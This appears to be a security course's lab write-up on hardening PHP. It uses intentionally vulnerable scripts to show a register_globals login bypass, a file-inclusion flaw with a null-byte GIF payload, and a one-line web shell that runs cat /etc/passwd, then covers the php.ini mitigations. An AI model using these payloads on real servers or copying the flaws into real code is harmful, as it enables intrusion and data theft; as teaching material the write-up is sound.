2015-12 Fun with PHP

Introduction

We have demonstrated three PHP based applications in class so far- Snort Report, Joomla, and Zen Cart. With these as examples, we want to discuss the broader question of how to configure the PHP language securely so that web applications like these can be run more safely.

In this example, we will use the stock CentOS 6.2 image provided in class. Configure the networking and enable the web server as we did in previous notes. Be sure to open the firewall and set selinux to permissive.

With this complete, create the document phpinfo.php in the Document Root for the web server, and give it the simple content

<?php phpinfo(); ?>

Open the resulting page in a web browser; doing so you will be presented with a page like the following:

Read the information provided; notice that from here you can determine the location of the PHP configuration file (/etc/php.ini), the location of Document Root for the web server, and the values of any number of variables.

Global variables

Create the simple PHP script global.php and place it in Document Root

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
"http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
  <title>Admin Page</title>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<?php
$pass = $_POST["pass"];
if(!empty($pass))
	if(md5($pass)== '5f4dcc3b5aa765d61d8327deb882cf99')
		$admin = 1;

if($admin == 1)
	administer();
else
	authenticate();

function administer()
{
echo <<<html
<h3> Welcome to the site, administrator.</h3>
html;
}

function authenticate()
{
echo <<<html
<h3>Welcome to the system</h3>
<p>Authentication is required.</p>
<form method="POST" action="{$_SERVER['PHP_SELF']}">
Password: <input type="password" name="pass">
<input type="submit">
</form>
html;
}
?>
</body>
</html>

Examining the page, you see that PHP looks for a variable named pass to be passed as a POST parameter. If that variable is present, then it checks its hash against a stored MD5 hash. [If you want to test, this is the MD5 hash of the string "password". See I don’t always add on that &quot1!"!] If they match, then the user is presented with the administrator’s page. If not, the user is given a form that asks for a password; when the form is submitted, it passes that information as the variable pass back to this same web page.

Although not a perfectly secure script, if this is run on your machine with its default settings, it is reasonable secure. Let’s break it.

Open the configuration file for PHP, /etc/php.ini in an editor, and head to line 693, and the directive

register_globals = Off

Notice in the script how the script writer had to use the superglobal array $_POST to find the value of the passed parameter, using the line

$pass = $_POST["pass"];

Would it not be more convenient to the script writer if that step could be omitted? This is the purpose of the register_globals directive. If that value is set to "On" then the line $pass = $_POST["pass"] can be omitted from the script. In this case, the values of the GET and POST parameters used to call a script are automatically loaded into the correct variable names in the script. In the old (very old) days, this was the default behavior of PHP.

Make the changes to both /etc/php.ini and the script, and verify that it still runs. Be sure to restart Apache after you make the changes in /etc/php.ini.

There is one problem with this approach however- it makes the script completely vulnerable to attack, To see this, notice that the variable $admin is set if the hash matches the stored password. As the attacker, why would we want that? GET parameters can be set in the URL, so what would happen if we visited the page with the url http://hargas.cosc.tu/global.php?admin=1?

The flaw here is a combination of a script that did not carefully initialize all of its variables and a poor security choice in the php.ini file. If the variables in the script were properly initialized or register_globals was set to off, then there would be no flaw.

Remote Includes

Now let’s take a look at a more complex example. Consider the script include.php:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
"http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
  <title>Product Information</title>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<?php
if(!isset($_GET['Customer']))
{
echo <<<html
<body>
<h1>Welcome to Acme Coyote and Road Runner Supply Company</h1>
<p>Before we can proceed, we need you to log in.</p>
<form action="{$_SERVER['PHP_SELF']}" method="GET">
<input type="radio" name="Customer" value="include_coyote">Wile E. Coyote<br>
<input type="radio" name="Customer" value="include_roadrunner">Road Runner<br>
<input type="submit" value="Log On">
</form>
</body>
html;
}

else
include($_GET['Customer'].".php");
?>
</html>

The previous example has the user visit a web page; then the script would run one of two possible functions (authenticate() or administer()) depending on whether the password matched the provided hash. The problem with this approach though, is that you are essentially putting all of the code for multiple pages inside a single file, making maintenance more difficult. This worked in the simple example, but what would happen in a more complex scenario? To help developers, PHP allows a script to simply load the contents of a second file; this is what is occurring in this new example. Depending on the value of the GET variable "customer" a different page would be loaded.

To see this in action, create the file include_roadrunner.php

<?php

$bg_color = '#000000';
$fg_color = '#fff000';
$Customer = "Road Runner";

echo <<<html
<body bgcolor="$bg_color" text="$fg_color">
<h1>Acme Coyote and Road Runner Supply Company</h1>
<img src="roadrunner.gif">
<p>Thank you for visiting us today Road Runner</p>
<p>Would you care to place an order?</p>
<form action="include_order.php" method="POST">
<input type="checkbox" value="Bird Seed" name="item[]">Bird Seed<br />
<input type="checkbox" value="Water" name="item[]">Water<br />
<input type="submit" value="Place Order">
</form>
</body>
html;
?>

and the file include_coyote.php

<?php

$bg_color = '#000000';
$fg_color = '#ff0000';
$Customer = "Wile E. Coyote";

echo <<<html
<body bgcolor="$bg_color" text="$fg_color">
<h1>Acme Coyote and Road Runner Supply Company</h1>
<img src="Coyote.gif">
<p>Thank you for visiting us today Mr. Wile E. Coyote</p>
<p>Would you care to place an order?</p>
<form action="include_order.php" method="POST">
<input type="checkbox" value="Rocket" name="item[]">Rocket<br />
<input type="checkbox" value="Giant Rubber Band" name="item[]">
Giant Rubber Band<br />
<input type="checkbox" value="Dynamite" name="item[]">Dynamite<br />
<input type="submit" value="Place Order">
</form>
</body>
html;
?>

Each of these then lead to an order page include_order.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
  <title>Order Form</title>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
Here is our order form....

</body>
</html>

In all of this, where is the vulnerability?

Suppose that the file hack.php is placed on the web server, where it has the content:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
"http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
  <title>Hack Script</title>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<?php
system($_GET["cmd"]);
?>

</body>
</html>

Now suppose that the attacker doesn’t select one of the two radio buttons, but instead chooses simply specify Customer=hack.php in the URL; then rather than including the desired files, our attack script gets loaded. Passing a parameter to that script, like cmd=cat%20/etc/passwd then results in all sorts of fun:

At first glance, this seems to be a problem, but less so on reflection. After all- this only worked because the script hack.php was already on the server, and in document root.

Alas, life is not so simple. First, the hack.php script can be located anywhere on the system that is readable by Apache. One possible way this can be exploited is if a user is allowed to upload a picture as an avatar. The necessary PHP code can be appended after the footer in a .gif file, then the attacker can force Apache to include the image file in a similar fashion to execute the offending code.

Pictures?

Consider the following .gif image of our good friend, the road runner.

Click on it; there does not appear to by anything wrong with it, and it displays quite happily.

Take that image, and put it in document root for your web server, and suppose that it has the name roadrunner.gif. Then go ahead and visit the URL http://hargas.cosc.tu/include.php?Customer=roadrunner.gif%00.

One subtle point to notice here is that the include statement in the PHP script automatically appended ".php" to the end of the file name that is to be included. Since our file ends ".gif", we terminate the URL with a null byte, encoded as %00. This will terminate the string so that the ".php" will not be included.

Doing so, we obtain a web page filled with nonsense:

However, if we continue to scroll down the pages of nonsense, we get the following:

How was this accomplished? Open roadrunner.gif file in a hex editor; a reasonable choice is HxD. Doing so, you can see that the <?php phpinfo(); ?> was appended to the end of the image, and this is the PHP code that was executed when the image was included.

Configuring PHP

Before talking about mitigating these problems, let me point out that PHP actually can let the situation get much worse. Take a look at line 890 of /etc/php.ini;

; Whether to allow include/require to open URLs (like http:// or ftp://) as 
; files.
; http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-
; include
allow_url_include = Off

If this directive is set to On, then we do not need to even bother trying to get the hack.php script on to the server at all- PHP will happily go out to the Internet, download, and include whatever script it finds there. I wonder if that would be bad? This is something that you would enable only after the most careful reading of every single PHP script on a site to guarantee that at attacker can’t include a script of their own choosing.

The first security change we want to make is to further restrict where PHP is permitted to include or even open files. By setting

open_basedir = /var/www/html

then PHP would be unable to include the hack.php file if it were located outside of this directory.

You can also enable Safe Mode in PHP. This is an older feature of PHP; it has been deprecated in PHP 5.3 and is set to be removed in PHP 5.4. To enable it, simply modify the safe_mode directive in line 339 of /etc/php.ini.

; Safe Mode
; http://www.php.net/manual/en/ini.sect.safe-mode.php#ini.safe-mode
safe_mode = Off

; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
; http://www.php.net/manual/en/ini.sect.safe-mode.php#ini.safe-mode-gid
safe_mode_gid = Off

; When safe_mode is on, UID/GID checks are bypassed when
; including files from this directory and its subdirectories.
; (directory must also be in include_path or full path must
; be used when including)
; http://www.php.net/manual/en/ini.sect.safe-mode.php#ini.safe-mode-include-dir
safe_mode_include_dir =

; When safe_mode is on, only executables located in the safe_mode_exec_dir
; will be allowed to be executed via the exec family of functions.
; http://www.php.net/manual/en/ini.sect.safe-mode.php#ini.safe-mode-exec-dir
safe_mode_exec_dir =

; Setting certain environment variables may be a potential security breach.
; This directive contains a comma-delimited list of prefixes.  In Safe Mode,
; the user may only alter environment variables whose names begin with the
; prefixes supplied here.  By default, users will only be able to set
; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
; Note:  If this directive is empty, PHP will let the user modify ANY
;   environment variable!
; http://www.php.net/manual/en/ini.sect.safe-mode.php#ini.safe-mode-allowed-env-vars
safe_mode_allowed_env_vars = PHP_

; This directive contains a comma-delimited list of environment variables that
; the end user won't be able to change using putenv().  These variables will be
; protected even if safe_mode_allowed_env_vars is set to allow to change them.
; http://www.php.net/manual/en/ini.sect.safe-mode.php#ini.safe-mode-protected-env-vars
safe_mode_protected_env_vars = LD_LIBRARY_PATH

When enabled, PHP will not allow a script to access a file that is not also owned by the owner of the script. This can sometime cause file access problems, and can be relaxed to only check the GID rather than the full UID. It should be noted that even the developers of PHP are not quite sure what happens in safe mode. Their web page with documentation for safe mode states explicitly

This is a still probably incomplete and possibly incorrect listing of the
functions limited by safe mode.

The administrator can also bypass UID/GID checks for one or more subdirectories by specifying a value for the parameter safe_mode_include_dir

Safe mode also allows the administrator to restrict the executables that PHP could run through a system command. By default, none are acceptable.

Together, these settings can make it much more difficult an attacker from being able to execute a remote include attack.

Information Leakage

By default, PHP is quite willing to tell strangers its precise version. To obtain this information, you need an advanced hacking tool like telnet.

Did you say telnet?

Yep.

It may be a bit old school, but it is a simple way to pull banner information from a web server. Just point telnet at the server, give it a port number (80) and ask for the headers. Be nice- this means entering HEAD / HTTP/1.0 and hitting enter twice!

root@bt:~# telnet hargas.cosc.tu 80
Trying 192.168.1.75...
Connected to hargas.cosc.tu.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 23 Apr 2012 02:20:05 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Connection: close
Content-Type: text/html; charset=UTF-8

Connection closed by foreign host.

From this, we not only see the version of Apache (2.2.15) and the operating system (CentOS), we also got the installed version of PHP (5.3.3). Fun!

To prevent the version of PHP from being sent along, edit line 432 of /etc/php.ini and set

expose_php = Off

Then a subsequent attempt to find the version of PHP will not succeed.


root@bt:~# telnet hargas.cosc.tu 80
Trying 192.168.1.75...
Connected to hargas.cosc.tu.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 23 Apr 2012 02:25:26 GMT
Server: Apache/2.2.15 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8

Connection closed by foreign host.

Information can also be leaked by mis-configuring PHP. If a PHP script results in an error, you do not want the details of that error sent back to the user, as that error may contain sensitive details. For example, if the error is in a database query, the returned error could provide the attacker with information about the table or tables, information that could then be used in an SQL injection attack.

To prevent this kind of error leakage, be sure that the variable display_errors (line 530) is set to off. The correct way to handle these sorts of errors is to send them to the logs. This is controlled by the variable log_errors (line 551) which should be set to on.

Fortunately, these are the default settings in our existing /etc/php.ini file.

  1. No comments yet.
  1. No trackbacks yet.

Leave a comment